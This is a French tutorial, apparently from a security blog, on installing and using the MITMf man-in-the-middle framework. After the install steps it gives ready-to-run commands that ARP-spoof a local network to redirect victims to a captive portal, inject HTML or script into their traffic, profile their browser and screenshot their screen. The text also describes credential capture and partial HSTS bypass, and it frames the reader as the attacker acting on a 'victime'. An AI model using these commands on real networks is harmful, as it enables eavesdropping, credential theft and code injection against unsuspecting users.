Une attaque «Man in the Middle» (MITM) se produit lorsqu’on se met au milieu d’une communication entre deux parties, afin d’espionner/modifier cette communication.
Il existe plusieurs logiciels qui facilitent la construction de cette attaque, par exemple Ettercap qui a pour but d’intercepter le trafic sur un segment de réseau afin de capturer les mots de passe. Mais ils restent limités et difficiles à utiliser. Dans ce contexte, nous allons découvrir le MITMF qui vient pour résoudre ces problèmes.
Qu’est ce que MITMF ?
Dans le but de combler les faiblesses d’outils utilisés pour réaliser des attaques MITM telles qu’Ettercap, Man in the middle Framework (MITMF) a été réécrit de zéro pour mettre en place un ensemble de modules qui facilite la réalisation de différents types d’attaques sur différents protocoles applicatifs ou réseau : ARP, FTP, POP, IMAP, HTTP, etc. Il est disponible en tant que projet GITHub.
Caractéristiques
MITMF est composé d’un serveur HTTP, DNS et SMB utilisé par les différents modules, ainsi qu’une version modifiée du proxy SSLStrip qui permet la modification HTTP et un contournement HSTS partiel dont son principe est d’attribuer une période de temps durant laquelle un agent utilisateur peut accéder au serveur d’une façon sécurisée.
La particularité de ce Framework est qu’il peut capturer les mots de passe et nom d’authentification lors des échanges avec plusieurs protocoles tels que FTP , POP, IMAP, Telnet, SMTP, etc ainsi que tout autre protocole semblable à HTTP, SMB (un protocole permettant le partage de ressources sur des réseaux locaux avec des PC sous Windows) ou LDAP (un protocole permettant l’interrogation et la modification d’un annuaire).
Dans sa version 0.9.8, MITMF a été configuré pour supporter la manipulation et le filtrage actif de paquets, ce qui permet de modifier n’importe quel type de trafic ou protocole. En effet , nous aurons la possibilité de modifier le fichier de configuration par exemple la modification des paramètres des serveurs, les options des modules … tant que le Framework est en fonction.
Installation
Afin d’installer MITMF nous aurons besoin d’utiliser un environnement virtuel python afin d’éviter les conflits de permission avec les paquets du système.
- Dépendances nécessaires
python-dev
python-setuptools
libpcap 8,0
libnetfilter-queue-dev
libssl-dev
libjpeg-dev
libxml2-dev
libxslt1-dev
libcapstone3
libcapstone-dev
- Commande d’installation des dépendances (pour Linux)
apt-get install python-dev python-setuptoolslibpcap0.8-devlibnetfilter-queue-dev libssl-dev libjpeg-devlibxml2-devlibxslt1-dev libcapstone3 libcapstone-dev
- Commande d’installation du paquet
virtualwrapper
(python)
pip install virtualenvwrapper
Le paquet virtualwrapper
va nous permettre de placer tous nos environnements virtuels dans un seul endroit. Mais avant de l’installer il faut s’assurer que virtualenv (un outil pour créer des environnements virtuels Python isolés) est déjà installé.
- Configuration du fichier
virtualenvwrapper.sh
Ensuite, il faut éditer le fichier de configuration de Shell virtualenvwrapper.sh
avec la commande source pour lier le script d’environnement virtuel à notre Shell. L’emplacement du
script peut être différent selon la distribution de votre système.
source ./.local/bin/virtualenvwrapper.sh
- Récupération des fichiers nécessaires à l’installation du Framework
git clone https://github.com/byt3bl33d3r/MITMf
- Initialiser et cloner les sous-répertoires
cd MITMf && git submodule init && git submodule update --recursive
- Installer les dépendances de MITMF(python)
pip install -r requirements.txt
Après avoir installé l’environnement et les dépendances nécessaires, on peut lancer MITMF.
Avec la commande python mitmf.py --help
, vous obtiendrez une aide explicative sur le fonctionnement des plugins et des options du Framework.
python mitmf.py --help
Mise en œuvre
- Redirection
Dans cet exemple, nous allons utiliser un plugin de MITMF qui va nous permettre de mettre en place une attaque de redirection.Pour cela nous allons utiliser cette commande en précisant adresse IP de la passerelle de notre réseau, et l’URL de notre site de redirection en utilisant le module --captive
.
sudo python mitmf.py -i wlp3s0 --spoof --arp --gateway 192.168.43.1 --captive --portalurl https://whiteflagfr.wordpress.com
- Injection de code HTML
Dans cet exemple, nous allons utiliser le module --inject
qui nous permet de réaliser une injection du code (par exemple une page html, du code script,..) dans le réseau de notre victime.
python mitmf.py -i wlp3s0 --spoof --arp --gateway 192.168.43.1 --inject --html-file '/var/www/html/injection.html'
-i
est pour l'interface (wlp3s0 dans cet exemple)--Spoof
Charge le plugin 'Spoof'--arp
Rediriger le trafic à l'aide de l'usurpation ARP--gateway
GATEWAY Spécifiez l'IP de la passerelle sur votre réseau.--targets
TARGETS Spécifiez les hôtes à empoisonner [par défaut sous-réseau]--inject
Charger le plugin 'Inject' pour injecter injection.html
- Module BrowserProfiler
Le module BrowserProfiler
va nous permettre de profiler le moteur de recherche de notre victime.
python mitmf.py -i wlp3s0 --spoof --arp --gateway 192.168.48.1 --browserprofiler
- Module ScreenShooter
Le module --screen
va nous permettre de prendre des screens de l’écran de notre victime.
python mitmf.py -i wlp3s0 --spoof --arp --gateway 192.168.43.1 --screen